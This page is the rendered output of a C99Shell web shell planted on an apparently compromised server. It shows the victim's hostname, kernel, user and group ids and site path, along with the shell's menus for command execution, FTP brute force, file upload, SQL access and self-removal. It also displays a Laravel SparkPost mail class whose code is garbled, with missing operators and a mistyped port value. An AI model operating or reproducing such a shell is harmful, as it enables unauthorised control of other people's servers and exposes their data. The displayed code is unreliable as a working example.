!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/EmailProvider/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SparkpostSmtp.php (2.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\EmailProvider;


use 
Illuminate\Support\Facades\Config;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Mail;

class 
SparkpostSmtp implements SendMailInterface
{
    public function 
message($message){
        
$this->message $message;

        return 
$this;
    }

    public function 
from($from)
    {
        
$this->from $from;
        return 
$this;
    }
    public function 
from_name($from_name)
    {
        
$this->from_name $from_name;
        return 
$this;
    }
    public function 
reply_to($reply_to)
    {
        
$this->reply_to $reply_to;
        return 
$this;
    }
    public function 
to($to)
    {
        
$this->to $to;
        return 
$this;
    }

    public function 
subject($subject)
    {
        
$this->subject $subject;
        return 
$this;
    }

    public function 
body($body)
    {
        
$this->body $body;
        return 
$this;
    }

    public function 
files($files){
        
$files  json_decode($files);
        
$files_arr = [];
        if (
$files) {
            foreach (
$files as $file) {
                
$files_arr[] = $file;
            }
        }
        
$this->files $files_arr;
        return 
$this;
    }

    public function 
config($config){

        
$this->config=$config;
        return 
$this;
    }

    public function 
process()
    {
        
$config = array(
            
'driver' => 'smtp',
            
'host' => 'host',
            
'port' => 'post',
            
'from' => array('address' => $this->from'name' => $this->from_name),
            
'encryption' => 'ssl',
            
'username' => 'username',
            
'password' => 'password',
        );
        
Config::set('mail'$config);

        try {
            
$server $this->config;
            if(isset(
$server) && isset($server->value)) {
                
$config_value json_decode($server->value);
                
$httpClient = new GuzzleAdapter(new Client());
                
$sparky = new SparkPost($httpClient, ['key' => $config_value->api_key]);

                
$sparky->setOptions(['async' => false]);
                
$results $sparky->transmissions->post([
                    
'options' => [
                        
'sandbox' => true
                    
],
                    
'content' => [
                        
'from' => $this->from,
                        
'subject' => $this->subject,
                        
'html' => $this->body
                    
],
                    
'recipients' => [
                        [
'address' => ['email' => $this->to]]
                    ]
                ]);
            }
        } catch (
\Exception $ex) {
            
Log::info($ex->getMessage());
        }
    }

    public function 
errors()
    {
        
// TODO: Implement errors() method.
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--